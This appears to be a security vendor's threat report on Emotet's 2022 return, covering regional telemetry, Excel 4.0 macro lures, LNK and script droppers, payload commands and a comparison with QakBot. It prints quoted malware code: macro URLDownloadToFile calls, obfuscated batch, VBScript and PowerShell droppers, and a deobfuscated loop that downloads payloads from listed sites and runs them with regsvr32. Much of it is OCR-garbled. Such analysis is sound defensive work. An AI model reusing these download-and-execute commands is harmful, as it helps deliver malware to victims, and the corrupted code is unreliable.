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The Emotetopen on a new tab botnet malware is well known in the cybersecurity industry for its success in using spam

emails to compromise machines and then selling access to these machines as part of its infamous malware-as-a-service

(MaaS) scheme. Operators behind notorious threats such as the Trickbot trojanopen on a new tab and the Ryukopen on a
new tab or Contiopen on a new tab ransomware are among the malicious actors who have used the botnet malware in their

attacks.

But in January 2021 came news of Emotet’s dismantlingopen on a new tab, dubbed Operation Ladybird, during which law
enforcement agencies from Canada, France, Germany, Lithuania, the Netherlands, Ukraine, the UK, and the US worked in
concert to seize control of Emotet’s infrastructure. In spite of this, the botnet malware proved quite resilient and it
resurfacedopen on a new tab in November 2021. According to researchers at AdvIntelopen on a new tab, its return was
greatly influenced by Conti’s operators, who sought to continue their partnership with the operators of Emotet, as the botnet

malware had played an integral role in the ransomware’s initial access phase.

During the first quarter of 2022, we discovered a significant number of infections in various regions (Figure 1) and across
different industries (Figure 2) using multiple new Emotet variants. Based on our telemetry, a large percentage of the infected
customers were in Japan, followed by countries in the Asia-Pacific and EMEA (Europe, the Middle East, and Africa)
regions. It is possible that the operators behind Emotet targeted profitable industries like manufacturing and education to

attract the attention of other malicious actors as potential customers for their Maa$S offering.
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Figure 1. Emotet infections by region during the first quarter of 2022
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Figure 2. Emotet infections by industry during the first quarter of 2022

In with the new

We observed that this surge in Emotet spam campaigns used both old and new techniques to trick their intended victims into
accessing malicious links and enabling macro content. The newer Emotet samples we analyzed retained the same initial
downloader as the one found in previous campaigns. However, these more recent samples used Excel 4.0 macros, an old
Excel feature, to execute its download routines (Figure 3), as opposed to Emotet’s previous use of Visual Basic for
Applications (VBA).
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Figure 3. Emotet’s Excel lures

Emotet employs various obfuscation techniques to evade detection of the malicious Excel file. One such technique is its use
of the .ocx file name extension (Figure 4) and carets (Figures 12 and 13) in URLs, which allow Emotet to sidestep detection

methods that look for specific command-line keywords or extensions.

=CALL("urlmon", "URLDownl oadToFile&", " JJCCBR", 0, https: /& "re" &"eb"& "ing" & "pop"&"s.c"&" "om /¢ & "gi-b"& "in/D"& "my"&"p" & " 7B &"WE"& "pH"&"ss"& "M/, ", \xdha.ocx', 0,0)

=IF(LWCEL<D, CALL{"urlmon", "URLDownl oadToFi A", " ICCBR", 0, "https: /" & w" & w. kin"& "fri.c" &"om /| "& "cen"&"se"&"s/3f "8 "KS" & " JKZ" & 323" & IHE " & 3o &"U/, ", xdha, ocx", 0, 00)
=IF(UWVCEZ=0, CALL("urlmon", "URLDownl oadToFilea", "JICCBR"Y, 0, "hitps /gl "& oh & alte" & it & e & s.n"& et/ og " & " -hi" & " n/Tn" & aw" & oy " & "GRr & i, . \edha. oo, 0,0))

=SIF(UWCES<0, CALL{"urlmon', "URLDownl oadToF | eA", "JICCBR", 0, "hitps: /a8 o " & riog" &"aspa" & rin.co"&"m. h"&"r/ro" &"s"& a5/ g0 " & FN & g v "&"yR"& "me/","..\xdha.ocx",0,0))

=IF(LWCE4<D, CALL{"urlmon", "URLDownl oadToFi e, " ICCRE", 0, "https: /] & un" &" he, m "8 "edi" & a/w" & "p-i"&"Nc"& | U8 "de" &"s AN B 2N B 242" & "BRWC & " B i " & 9N, ", Nsedha. oo, 0,0))
=IF(UWCES =0, CALL{"urlmon", "URLDownloadToFileA,"JICCBB", 0, "https: //ib"&"poo" & "rp.0" & "rg/w" &"p-ad"&"m "&"in/zH" & "1kehE" & "cw" & "GH" & "LDp,™, " \xdha, ocx ", 0,00)

=IF(LUWCEG=D, CALL("urlmon", "URLDownl oadToFileA", "JJCCBR"Y, 0, "hitps /i & hm" & " sew"'& " is" & s, c"& " "h/w" & " p-ad" & "'m" &"in/g" &"U0" & " "g0" & e, "..\xdha, ocx",0,0))

=IF(UVCET=0, CLOSE(D),)

=EXEC{"C:\Windows\SysWowed\regsvraZ exe -5 .. \ndha, ocx")

Figure 4. Emotet using Excel 4.0 macros and the .ocx file name extension for its payload

We also observed that some of the recent Emotet samples drop BAT (batch) files (Figures 5 and 6) and VBScript files

(Figures 7 and 8) to execute their download routines.
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direecho hjsoihjspod fgjosdFhstityjuStIsDHTTIDGGEIVBXDrtfvhS57erthDFhsDRh&SET kjXDFgjrthS=posecho
BGZDSRGRES4GTHFKDGUKCHk jxcgjXdfrHdfrghzd46drxzdgds fgxzzs44SET KFfklhgixdh=wers&echo
FHzsDFHhGigfIxdS6r8utycigxHzdrfg HgfhsdrfghdrzsgrDgsd46drszgdfaSET etaRHjDhfd4shell -esecho
GjghfkuoFJUkCnjxDhrewg236ethjgd fhDSufJdfHDSGRshdtIghDEGSreghDfhaSET 11Pg]lfddsd67=nc
JRBNAEORWABKAGYACWBOREQACYBMAECAWGBZ AGUACWADADDATgBOAHOAABWAHMAOGAVACBRAeQRVAHURADABhAGARZ ABhACARbWEYA
GCALWE 1AGWAbGATAGKALOBhAGCAEQBz ACEAbYA4REQAUABaAEKAUWERAC BALABCAHOAIABWADORLWAVAHIALWE ZAGUAAUBPAGOALEQ
BVAC4AAbgE 1 AHOALWE | AGwAbgALACKADOBhAGCAT QB ZACSAROBGAGOAQWE VAR ABABZ ADGARWE S ACBALABORHOAAARWADOALWAVAHY
AYGRhAGKADGBIACARYWBVAGOIALWE IAGWADGALAGKABOBNAGCAZ QB2 ACBASARYAHARURBHAHORS QR 4AFgRegBFAB4RQWAVACWRARR(
AHQACABzADOALWAVAGYACYBhAGIAZQBLAGEAaWE LAHIACWAUAHUACWAVAGUADABUACIAAQBLAGEAZ WE 1AHMALWEVADUAVWAYRAEKAR
WBFADKAbQRAAGKACGBOADKRCgAVACWAARBOAHQACARSACSALWEBUAGKACABS AGEAdWAUAGMADWE tACBAYQBZAGBADABPAGQRZgBVAH
UAbgBKAGEARJABPAGHAb&echo BHMICEghJYIfGAS6yTDEHACEghdsGdesG DHAPdgdsgL

rfghDRGA46567DRghDFGSreGDIgasET XCVzWRetd=

JAVAHKAQWEFADKALWAS RGUAAABIAHAROJAVAC BACHBVAGIAZ QBYAHOARD OB J AGIAABS AGUACWEBWAGUALYB I AGRALOAVAGMAZWEPAC
BAMWBNACBALABOAHOAIABWADCALWAVAHYADWE JAGEACABIAGKAbWBUAHMALYBUAGUAdAAVAGMAZ WEpACBRaQBNAEIACORSADUASQR
SAGIAVgBWAEDRORBOAGYAUgAVACWRAABIAHQACARBACBALWE LAGKACWE ZAGKAbWRUAGAReQR JAC 4RbWBYAGCALWENAGE AbgBOAHMA
LwWBKAEBANQAVACWAAABIAHQACARCACSALWBYAGEBAYYE LAHIAIABMAGWADWBVAGOALYB 1AHMALWE 1AGWADgATAGKADOBhAGCAZQBZA
CBARABHAEKAMGBEARBAawB TAGMACQAS AFGAUABPACBALABOAHQAAABWADOALWAVAGI ACAB LAGMADWE LAHAR QB DAGKADGBNAC 4A YW
BYAGIALWBMAGAALGRIAHMALWENAECAS gBYAGOAC QBWAEKAWOAZ AE IAdARAZAFEALWAS AGGAIAB I AHAROIAVACEAZABhAGQACWENAGY
AdABpAG4AdARBOAGUAZWEeChO

HYKFYUIfYH)DXgfxhdRFGDS47dthrdfhdfhx57dfghiXgIFTIUX SDHARXghDRXtHIYUOTighlaSET Nmvbmxdrtx7sdSrs=
BhAGOAZ QAUAGMADWE LACBAZ QBSAGAALOBPAGIAYQBNAGUACWAVAHQAQOBBAF UARWAVACWAAAR I AHOACAABACBALWBZAGIAYgBZAGU
AcgB2AGKAYWE 1 AHMALGBUAGUAJAAVAGMAZWBPAC BASgEPADARMOE  AGSAJOB3AGOALWAS AGGAAAB D AHAROGAVAC RACWE O AGS ACARY
RGKAbYBIAGURCYEZAC4RYWEVAGIALWE IAGWALGALAGK
AbGBhAGCAZQBZACBARAAVACWAAARIAHOACARAAC BALWEYAGSAcWE | AHCADWBVAGQA YWBYAGEAZ gBIACAAYWEVAGIALWENAGUACGR
AGYAYQBUAHOAMgAVADUALgRWADAALWEBQAECRCORBYACBATgAUAHMAUARBMAEKAAAROACTALAR I ACKAOWAGRGYADWE SAGUAQOBDAGYAK
ARKAHKAS QBKAHMAUGEOAHKAZ QAZADOACWBSAHURZgENAHAAYE J AGQAZYAYGAGKATY AGACQATOEKAFgAZABNAHMAAABEAHIAZ gBHAF
oAcwB 1AHMANAADPAHS ATARKAECAdWE IAFKAS AR 1 ADCACWE LAGQRCWR 3AGQAPQROAC TAYWBpAHUAdWRB secho
GHIGEJDYik79fgULhXMIGNRdrgsREhdrXDtgi57sdfhX2drESgSzXHgdxn) 4645ET DRGhREK]if=
kADoRaQB1AHCAZARCAHAACYBpAHUAdWBKAGEAZWE pAHUAIWEBKRHIAYQR tAGK A QR AGOAZABhAHORA QB IAHCARABhAFWACABIAGKA
AABVAHURZARUAGOAEQEIAHCAZARSAGKAIQOB3AGOADAR IACKALYBYAGUAUABSAEEADWE LACGA IgEpAHUAGWEKAC IALARIACIAKQATA
GKAbgBWAEGRaWE 1ACOAdWB 1AETACYBFAHEAVQB 1 AHMAVAAGACDAAQBSAEKATARKAHKAS OBKAHMAUGBOAHKAZ QAZADQACWBS AHUAZ g
BnAHgAagBjAGORE gRGACIADWEVAHQARGBIAGWAT QAGACQOARWEIAGUATOR IADUANWE z AGUAZAR 2 AHCAZ AR TAGKARGRORHQAZ QB TAHQ
ALQBWAEEAVABOACAAJABHAHCAZ QBZAEGANQA3AHMAZ QBKAHMAAWE KACKASWEPAGYAKAROAGCARDBIACOAAQB IAEUALQAGACOARWES
AGUANQBTADUANWE 2 AGUAZABzAHCARAAPACARDAR I AEAARWBIAGYGATAR

TAGCAZ QAgADOANWA I ADMANGAPAHSAYIBSAGUAYQBrADSATOBIAHOA

eche GHIDFTG]TJTFhdzsc547dfgjhKGUHEnxcvNr hrtHGXMNIgNxdzRFghS7dtFIUgXHIHDFgrHastart/B /WAIT
2kIXDFgirth5%%KFfklhgixdhttetaRHIDhfdd4%%1iiPgjlfIds46 73 3XCVZWRet4 S NmvbmxdrtX7sdSrs % SDRGhREkJif%

&echo dgfhakirjshqungd&TudngstGFjxDSHzDFHDzFHdgfxsSQTdchXGHJxDFHdrfﬂsEdfw

Figure 5. An obfuscated BAT file

‘eche GHIDFTGiTJTFhdezsrS47dfgihEGUHEnxovNr hrtHGEMNJIgixdeRFghS7dcF

JUgEHJHDFgrH & start/B /WAIT powershell -enc JABNAEOAWABKAGYAcwBOAEQAcgBmAECANg
BzAGUACWAOADOATGBoAHQAALEWAHMAOGAVACE LeQBvAHUADABhAG4AZ AEhACS AbwEyAGCALWE LAGwAby
At AGKkAbOBhAGCAZOBzACEAbgAd AEQAUABRAEKATWENACS AL ABo AHOAAABWADO ALwAVAHI AbwEz AGUAdy
BpAGOAZQBvACAALgElAHQALWE 1 AGwAbgAL AGKALOBhAGCAZQBEz ACEBARQBQAGOAOWBVAEOALABZADgARY
B5ACSALABOLHQAAABWADD ALWAVAHY A¥YgBhAGKAL gEOACS AYwEvAGO ALWE 1 AGWAbgAL AGKk AL OBhAGEAZO
BzACSASAAYAHAAUABHAHQAZOASAFgAegBF AE4 AQUWAVACWASABO AHQAC ABZADDAL WAV AGT AegBhAGOAZY
BrLAGEAawB lAHT AcwAuAHTACcw AvAGTADABUACOAAOBL AGEAZWE l AHMALwEVADUAVwAVAEKARWEF ADKADLO
A4AGKAOQBOADKACGAVACTASABOAHQAC AAGACE AL WEUAGKAC ABS AGE AdwAUAGHAbYEL ACBAYQEZAGSAbA
BpAGQAZFEVAHUAbGBRAGE AdAEpAGS AbgAv AHKAQWEF ADKALWAS AGyAdAED ARAAOGAVACE A gEvAGTAZO
ByAHQALOBIAGgAaOBsAGUACYBWAGUALgEAGBALQAVAGHAZWED ACBAMWEMACBALABO AHQAAABWADOALY
AvAHY A wE ) AGEACABOAGK A WEMAHNALgEuAGUAdA Ly AGHAZWEP ACE AaQBmAEOAOQBES ADTA=QESAGT AV
BWAEOAOABOAGYAUGAVACTARAEOAHOACALE ACEALWET AGkACWE z AGkAbwEuUAGS AeQF J AC4 AbwEYAGE ALY
BmAG8 b gBOAHMALwBEAES ANOQAVACWAaABOAHQACARGACEALwEBY AGEAYVYE LAHT AdABmAGw AL wBw AGQALg
B1AHMALwWEIAGWAbgAC AGKADOEhAGC AZOBz ACES ARARHAE K ANgBEZ AES AawETAGHAOQASAFgATTABPACSALL
BoAHOAAABWADOALWAVAGO e BT AGHAbWET AHALAQBOAGKAbgEn AC4 AYwEVAGO ALWEmMAGS AbgB0 AHMAL W
BmAEoASgEyvAGOACOBWAEKANOAZ AETAdAAZAFEALwASAGOAdABD AHAAOGAVACBAZABRAGQACWENRAGUACLL
BpAGAAdABoAGUAZWBhAGOAZQAUAGHALWEC ACBAZOESAGEALOBp AGOAYOERAGUAcwAVAHQLOOEBAF UARY
AvACWASABOAHOACAAGACEALWEZAGOAYgBz AGULCYE2 AGKAYWE | AHMALGEuAGUAAAAVAGHAZWEPACSAS Y
BPADAAMOE JAGEAdOBI AGQALwAS AGAdABDAHAAOAVACE AcWEBO AGS Ac ABVACK A LgBOAGUACgEzACAAT Y
BvAGOALwWElAGwWAbgAC AGKANOBhAGCAZOBz ACEARAAVACWAAAROD AHOAC AAGACBALWEBYAGS AcwE LAHe AW
BvAGQAYWEYAGEAZGBOACS ATWEvAGOALWBNAGUACYE ] AGyAYOBULHOAN g AvADUALgAWAD AALWEQAECACQ
BYACSATIgAUAHMAUABNAEKAAAACACTALARL ACKAOWAGAGY AbWES AGUAQQUBD AGgAKAAKAHKASQEKARNAUY
BoAHKAZOAZADQACWEBSAHUAZGEnAHgAagE ) AGOAZGAGAGKATGAGACQLTOBKAFgAZABMAHMAGABEAHTIAZY
BHAFoACHE L AHMANAAR AHSATAAKAEC AdwB 1 AFkASAL1 ADcAcwE 1 AGOACWES AGOAPOLO AC TAYwEp AHU Ady
BkADOARQB1AHCAZABcAHAACYBpAHUAQwBKAGS AZwBp AHUAQwBKAHI ATQBt AGKAQQE3 AGQAZABRAHQASQ
BlAHoAZARhAFwACABI AGKAAABVvAHTAZAAUAGOAAOBRl1 AHCAZARS AGKKAAQEIAGOAD AL ACKALgBYyAGUATA
BSAEEAQWE LACOATGBpAHUAAYERACTALARI ACTAKOLT AGK AbgBWAES hawE 1 ACOAdWE 1 AF T hegEF AKHEAVQ
BLAHMAVAAGACOAGOBSAEKAT A AKAHKASOBRKAHNAUGEOAHKAZOAZ ADQACWESAHUAZgBn A HyhagB i AGQAZy
AgACOAwBVAHQARGEIJAGWAZOAGACOQARWBI AGUATNOBIAD AN Bz AGUAZ ARz AHCAZAATAGKARGAOAHQAZD
BTAHQALQBWAEEAVABOACAAJABHAHCAZQBZAEGANQAS AHMAZQBR AHNAAWEKACKA=WBp AGYAKALOAGEARD
BOACOARQEOAEUADQAGACQARVES AGUAVOBIADUANWEzAGUAZABz AHe AZAAPACS Ab AR 1 AE4ARWEDAGGATA
At AGoAZOAGADQANwADADMANG AP AHS ATgBSAGUAYOEr AD=AfOBI AHOL & echo dgfhakirj ame!-ﬂ
d5Tudgf IxaDGF I xD3SHzDFHD ZF HAgE w354 7dfhJXGHIXDF Hdrf4sa6dfh
GHIDFTGiTITFhdzsr347dfgi hEGUH I nxevir hr t HGXMNIgixd zRF ghS57dc FIUgXHIHDF gr Hv

Figure 6. A deobfuscated BAT file (Figure 5) that downloads Emotet’s payload via PowerShell

dim gSEdJDsfySJIGHKdggdh:dfjoleihdxdn=""CwveidGweicrGueiipGueit ., SGueihe 1Gweil " idfhoiwleghld="cuer lxmuer lxd /uerlxc
suerlxtauerlxruerlxt uer uer LxB

uerlxc:uerlxl wuer 1xinuer Ixdowuer Lxs\ suer Ixyswuer Lxouer Ixweuer 14\ ruer Ixeguer Ixsvuer lxrduer 1x2 . uer lxexuerlxe fuerlxs

cuer lx:uer lx puer Ixroguer lxramduer 1xatuer lxatoiphilf) erlxluerlxl”:set g3EdJDsfyS5JGHEdggdh=wscript.createobject{replace(
dfjoleihdxdn,"Gwei™,"")) :dim ryulxdHServ:ryulxdHSerw="puivoruiveruivshuiveluivwl -uiwcuivomuimrauiwnuiwvd

"righkid= (' $MIXALshDriGEZsesd=\ ""huivtuivep i uivdhijdhiveauwiwraveethulvomb. cuivomdhjvwuivp-conuiwtentdhil15zZyvbP1EXtexDE4JHdhibouht
uiwtpuiws:dhjdhjl566xuesuivhe. cuivondhjwuivp-incuivludesdh)jz92 ZVgHESdhjbouhtuivtuivp:dhjdhjmyuimicrog” &

"reen.mighuivteode . uivcomdhiFouinx-CdhiN¥ssibNOJDxhsdhibouhuiwcuivtp:dhidhjoZomauivre .cuivo, inivndhiinfuivructuosedhimdmgt 2 Mell
dhiboubuiveuivep:dhidhimuives. juivoburg. ouiveg. uivzadhi-dhiGBGIeFxXWINbABvZdhibouhtuivtuivp : dhjdhivuivwuivy . auivea. cuivudhl 4pr
dhi¥WPdhjbouhuivtuivwtp:dhjdhjactuivividades, laforet lan™+

"uiwguages.couimndhjwpui
udhjbouhtuiveuivps:dhidh)

—aduivmindhidUBDsdhibouhuivtuivtpuivs: dhjdhidevuivemuivaster

riwomdhiwuiwp-couivntentdhi1sR2HEFxQnkiu

uiwu-meuivdia. cndhiwuivp-adoui windhi0JAEdh Ibouhtuivtuivpuivs idhidh)iacadenyuivgruivoup . cldhjofuivei

cedhjG42LJPLkldhibouhuivwtuiweps:dhidhjznzhuivou, tuivopdhimiivodedhi0Chdhi\ " —suiwPLuiwIt \ ""houl "
fouiwReiCuiwh{$yIdsRhye3dsyufgxjcdf uiwil

§MIXdfshDr{Gisesd) { §GueYHSToedswd= (| ""ciuwd: iuwd) priuvdogiuvdramiuvddatiuvdal oiphilf) . diundliuwdly ") .reuivP luiwhCuive (4 *"iuwd
ey ey ey s inuiwvuivOkuive-wenivBrEuivgUeuivsT —uiwuRuiwl §vldsRhye34syufgxjcdf —ouwlwltuiwFIuiwle

4GweTHS 7sedswd; iuivF (tuiveSuivt—puiwiTuivh $GweYHS7sedswd) { iniwf | (gEuiwt—ituiwEm §Gwe¥HS7sedswd) . leuiwlGtuivh —gui
47523) (buivReauiwi; } )} ') .reuiwpluiwacuive (\ nav T, sjuiwieniwx §ghlki rerdijv=replace(ryulxdiSery, "uiu"
gEEAIDsEfySIGHEdggdh. run erdijv,0,crue:dim ijsderhd&e46d HkjsdsfEhdsed46d=replace{dfhoiw3eghld, "usrl=x", ""}):

gSEdJDsE£ySJIGHEdggdh . run HkjsdsfEhdsed46d,0

Figure 7. An obfuscated VBScript file
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§MIKdEshDrfGZsesd=
https:/| bain
t.com/e ot - com
/asol pMBh £
Sy pmm— Download URLs i
</

SPLIt(", ") ; foReACh($yIdsRhye3d4syufgxjcdf iN $E ) § T 4
"ci\programdataipuihoud.d11”) ; inVoke-weBrEqUesT =-uRI §yIdsRhye3dsyufgxjcdf -oUtFIle §GweYHS7sedswd;
iF (Te5T-pATh $Gwe¥H57sedswd) (if ((gET-iTEn $Gwe¥HS57sedswd) .1eNGth -ge <71:7) {bReak;}}}

Figure 8. A deobfuscated VBScript file (Figure 7) that downloads Emotet’s payload via PowerShell

Unlike past variants, the recent Emotet samples behave in a more straightforward way, directly downloading and executing
their payloads. These samples use regsvr32.exe under the SysWow64 folder to execute their payloads, which ensures that the
malware runs in a 64-bit environment using the 32-bit binary. This suggests that Emotet now targets only 64-bit machines,

which is in line with the recent news of Emotet’s switch to 64-bit loadersopen on a new tab.

We also discovered that the recent Emotet samples employ LNK (link) files to download 64-bit loaders (Figure 9). These
allow Emotet to directly execute PowerShell commands for payload execution. For each infection, the LNK file creates a

PS1 file via PowerShell, which is then used to download and run Emotet’s payload (Figures 10 and 11).

y bddZbal3B35bc aBedall951 dThB T 78352dTh4dB P R |

Compatbiity | Secuty | Details | Previous Versions
Generdl  Shotcut | Opions | Font | Layout | Coloes

Taget ype:  Apphcabon
Taiget locabor: 1.0
Tanget: Il.'.‘ Wwindows \SystemI2\WindowsFowerShelfuwl 1

Start inc |20d3c

Shotcut key: IHme

Runc | Miramized =|

Commend |

ok | cawe | o |

Figure 9. Emotet’s malicious LNK file

"%System%\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "

ifilename}.Ink * | Out-Null;
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJIZmVyZW5jZT0iU
21s7ZW50bHIDb250aW517ZS17)GxpbmtzPSgiaHROcDovl 2ZvY3VzhWVkaWNhLmIul2ZthGliLOI4QkFCTWgwSTJjTEOz
cXExR1Z2LylsImh0dHABLy9kZW 1vMzQuY2tnLmhrL3NlcnZpY2UvaGhNWnJmQzdNbm05SkQvliwiaHROcDovL2Nvb
GVnaW91bmFtdW5vLmVzL2NnaS1iaW4vRS8iLC)lodHRwOIBvY2lwecm8ubXgvcHJIbnNhL3NpWIA20XJCRm1pYkR2
dVRQMUwvliwiaHROcDovL2ZpbG1th2d6aXZvdGEucnMvU3ByeUFzc2V0cy9InRFIviiwiaHROcHM6Ly9jemVIbW8ucG
wvd3AtYWRtaW4AvWktTMURjZHF1VVQ0QmI4S2Iviik7Zm9yZWFjaCAoJHUgaW4g)GxpbmtzKSB7dHISIHEV 11gJHU
gLU91dEZpbGUgJGVudjpURU1QLOANT 1dEVFImSUoueHRxO 1JIZ3N2¢jMyLmV4ZSAkZWS52OIRFTVAVRO1PVORUU
mZJSiS4dHE7YnJIYWt9IGNhdGNolHsgfX0=")) > "%User Temp%\ezMgZunnfF.ps1" ; powershell -executionpolicy
bypass -file "%User Temp%\ezMgZunnfF.ps1"; Remove-ltem "%User Temp%\ezMgZunnfF.ps1"
"%System%\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file %User

Figure 10. The executed command from Emotet’s malicious LNK file
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$ProgressPreference="SilentlyContinue";$links=
("hxxp://focusmedical.]in/fmlib/IxBABMh0I2cLM3qq1GVv/","hxxp://demo34[.]ckg.hk/service/hhMZrfCTMnm9ID/", " hxxp:/
/colegiounamunol.)es/cgi-

bin/E/","hxxp://cipro[.Jmx/prensa/siZP69rBF mibDvuTP1L/", "hxxp://filmmogzivotal.]rs/SpryAssets/gDR/", "hxxps://creemol.
Ipl/wp-admin/ZKS1DcdquUT4Bb8Kb/");foreach ($u in $links) {try {IWR $u -OutFile
$env:TEMP/GMOWDTRfl).xtq;Regsvr32.exe $env:TEMP/GMOWDTRfL xtq;break] catch { }}

Figure 11. The deobfuscated command from Emotet’s malicious LNK file (Figure 10)

Another notable behavior we observed in the samples of these new Emotet variants was their use of hexadecimal (Figure 12)

new tab Using these formats to obscure the URLs enables these new variants to circumvent pattern-matching detection

methods, thereby allowing the execution of their download routines.

7
<

[C] {macrosheet) [Billing Statement] {worksheet) [DD] {macrosheet) [FD] {macroshest) [Sheet1] {worksheet)

-

Defined names Farmulas

Marme Farrmula

Auto_Open CCIEM$
FF “emd fe m*shAtha b MESp Sy OS5 eff39c3/5ec/se Lhtml”

-

Figure 12. A hex representation of the Emotet URL (with carets)

Defined names Formulas

Exclude functions

RUN/GOTO CHAR COMCAT

Index Faorrmula
'5EI026 =ll="crmd fo mfsh™tha hAathp S /0056,0157.0121.0114/ ¢ bt
531038 =EXEC{II)
531040 =HALT

Figure 13. An octal representation of the Emotet URL (with carets)

Emotet’s payload

Emotet’s older 32-bit variants use seven core commands. But the recent Emotet samples are of 32-bit variants that use only

six core commands and 64-bit variants that use only five, as shown in Table 1.

Command Execution method of 32-bit variants Execution method of 64-bit variants

Download and execute DLL with regsvr32.exe

) Download and execute DLL with regsvr32.exe

with parameter

¢ %Windows%\regsvr32.exe {Installation
folder}\{random}.dll {Base64-encoded

string of (randomly created installation

1 ¢ %Window%\regsvr32.exe /s {Installation
folder}\{random}.dll {Base64-encoded
string of (randomly created installation

folder)}\(file name of dropped co
folder) }\(file name of dropped copy) M PP py)

2 Execute shellcode via CreateThread Execute shellcode via CreateThread
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Download EXE file and execute it using Download EXE file and execute it using
3 CreateProcessW (non-admin) CreateProcessW (non-admin)
o {Installation folder}\{random}.exe o {Installation folder}\{random}.exe
Download EXE file and execute it using Download EXE file and execute it using
4 CreateProcessAsUserW (admin) CreateProcessAsUserW (admin)
o {Installation folder}\{random}.exe o {Installation folder}\{random}.exe
) Load module in memory and execute exported
5 Execute shellcode via CreateThread . ] .
function (via LoadLibraryA and GetProcAddress)
Download and execute DLL with regsvr32.exe
6

¢ %Window%\regsvr32.exe /s {Installation
folder}\{random}.dll

Note: {installation folder} could be %AppDataLocal%\{random} (non-admin) or %System% \{random} (admin), depending
on the mode of execution.

Table 1. A list of core commands used by the newer Emotet samples

Our analysis of the recent samples showed that Emotet’s use of rundll32.exe for execution between November 2021 and
January 2022 had been phased out, replaced by the “regsvr32.exe /s” command as of February 2022. Nonetheless, Emotet
employs modular architecture for its other payloads. Based on this, we can still infer that the samples have the same
infection chain as in previous Emotet-related campaigns, with some variants opting to include the gathering of running

processes as part of their modules instead of their main routine (Figure 14).
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Malicious @
spam with URL

(subject is invoice or
payment notification)

User's clicking of URL in
malicious spam leads to
download

Installation

_|9

Emotet

Drops copy
a. %System%\<file name>.exe
b.%AppData%\Local\Microsoft\

g
o —()

Doc with malicious macro

(executes PowerShell
command line to download

{& Windows\<file name>.exe

—_— | Deletes
—_— Zone.ldentifier ADS

— Creates service
I (if with admin rights)

Routines

g o List running processes

e Get system and
@ operation system info

e Send info to
| C&QC server
— @
0 @ Create autostart
[ ] registry -

D HKCU\%regrun%
I (if without admin rights)

C&C server sends modules
to perform other routines

Execute modules

a. With admin rights
b. Without admin rights
payload) Service name/Regrun

value is the same as
<file name>.

pa
I <
received from C&C server
a. Update copy
b. Spammer module
c. Credential stealer module

d. Network propagation
module

Figure 14. Emotet’s infection chain

The reappearance of Emotet is also notable because its operators have since added Cobalt Strike, a well-known penetration-
testing tool, to its arsenal. This poses a bigger risk for target enterprises, as the integration of Cobalt Strike provides more
flexibility for Emotet’s MaaS partners to gain a foothold in an intended victim’s systems. With these new features, we expect
to see in the coming months a continuous stream of Emotet cases and the delivery of other malware used in Emotet’s Maa$S

scheme.

Similarities with QakBot

Since January, we have received and analyzed 300 submissions of the QakBot loader (Figure 15), and our investigation has

revealed that its attack chain shares many similarities with that of Emotet (Figure 16).
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m Qakbot
AK R
1619
36 7 110 45 331 138
0 -
JAN FEB MAR APR

Figure 15. Emotet and QakBot submissions from January to April 2022

QakBot

— —

@ OneDrive QakBot QakBot

Malicious
spam link downloader binary

Emotet

Malicious Z Emotet Emotet
spam downloader binary

A 4
N

©2022 TREND MICRO

Figure 16. A comparison of QakBot and Emotet’s attack chains

QakBot spam messages attempt to deceive their intended victim into clicking a download link, which is usually a OneDrive

URL (Figure 17). An Emotet spam message, on the other hand, poses as a forwarded email that has a password-protected
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archive attachment (Figure 18).

From: =_— = = s

To: MESEI

Co

Subject: Re: RE: Reset Password
Hello,

Sorry for my late reply to vour question. Attached is the document vou need.

DOCUMENT DOWNLOAD LINK

Thank vou,

Figure 17. A QakBot spam message containing a malicious download link

From:

To:

Cc

Subject: [SPAM]Fwd:

- B Details_08032022.zip

Hello,

Please see attached
password 328

Ananda Alert
T el ey

Figure 18. An Emotet spam message containing a password-protected archive attachment

QakBot infections start with the intended victim downloading a malicious Excel file with an .xIsb file name extension

(Figure 19). Emotet infections also involve an Excel file, but with an .xlsm file name extension (Figure 20).

“ Home Insert Fage Layout Formulas Data Review View
2 ¢
& cut Calibri ot A A | ®-  Siwnpret General . :’jg H Normal B
523 copy ~ =
Faste B I - - - A IEEE EMergemcCenter~ § v % o | %3 8 Conditional Format  Neutral «
= < Format Painter L = a F i e S| matting - 2 Table - =
Clipboard 2 Font y Alignment Al Number 2 Styles

1) Security Waming  Macros have been disabled. | Enable Content |

o This document protected by

Microsoft Office

TO OPEN THIS DOCUMENT PLEASE FOLLOW THESE STEPS:

15

16

17 ® Select Enable Editing

1

19

= @ PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless you need to edit, it's safer to stay in Protected View.  Enable Editing
2

2

= a_ln tha Micracaft Offica Sacurity Ontinn dialaa hav _calact Enahla Cantant

W 5 ] Sheet  Tg e

Figure 19. The malicious Excel file in a QakBot attack
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[ESRe % Delete - | [§]~
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a
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Ready | |[E@m@ 0% &)

Figure 20. The malicious Excel file in an Emotet attack

Another key difference between the two pieces of malware is that the macro sheets embedded in QakBot’s downloader
samples contain links with the .png file name extension in the URLs (Figure 21), while Emotet links do not (Figure 22). This

is a means for QakBot to evade detection, as using a common file name extension like .png makes QakBot URLs less

suspicious.

I:CALL["KemeI 32" "CreateDirectoryA","JCJ","C:\Rimta",0)

—
T-cALL("urimon*®,"URLDown | oadToFileA”,"LICCBE",0,"h" & ttps-// M 3.2 v rR1INO/yn|p" &"n" &g "|"C:\Rimta\uod oox",0,0)

I=CALL["urI mon","URLDownloadToFileA","1JCCBB",0,"h "&"ttp"&"s:f/_pT\’u'stDRh,’vrI.p"&"n"&"g"l"( \Rimta\wo2.00x",0,0)
e——

I=CALL["urI mon","URLDownloadToFileA","JJCCBB",0,"h"&"ttp"&"s :,“_Ub?lpzulNJSE_}'WIp"&"n"&"g"l“C:\Rmta\ums.aa",o,oy
_

[=E>(EC["regsw32 C\Rimta\wol.ox")

[=EXEC["regsw32 CARIimta\wo2.0ox")

I=E‘KEC["reg5w32 C\Rimta\uxx3.0x")

[=RETURN()

Figure 21. The URLs in a QakBot macro sheet

I:FORMLJln('Jpl'!Dl?.'Jp?'!Fﬁ]:FﬂRMUlA(VfrhukllP??&Vfrhukl!HQ&Vfrhukl!l?&vfrbukl!Bl.‘;&vfrbukl!815&1pfaqhorl!Fa&lpfaqborl[nz&l efasborl!D128&' e |E6EI

[:LnLLt "urlmon”,"URLDownloadToFileA","JJCCBB",0,"http://! 'wp-content/M/",".\aew.ocx",0,0}

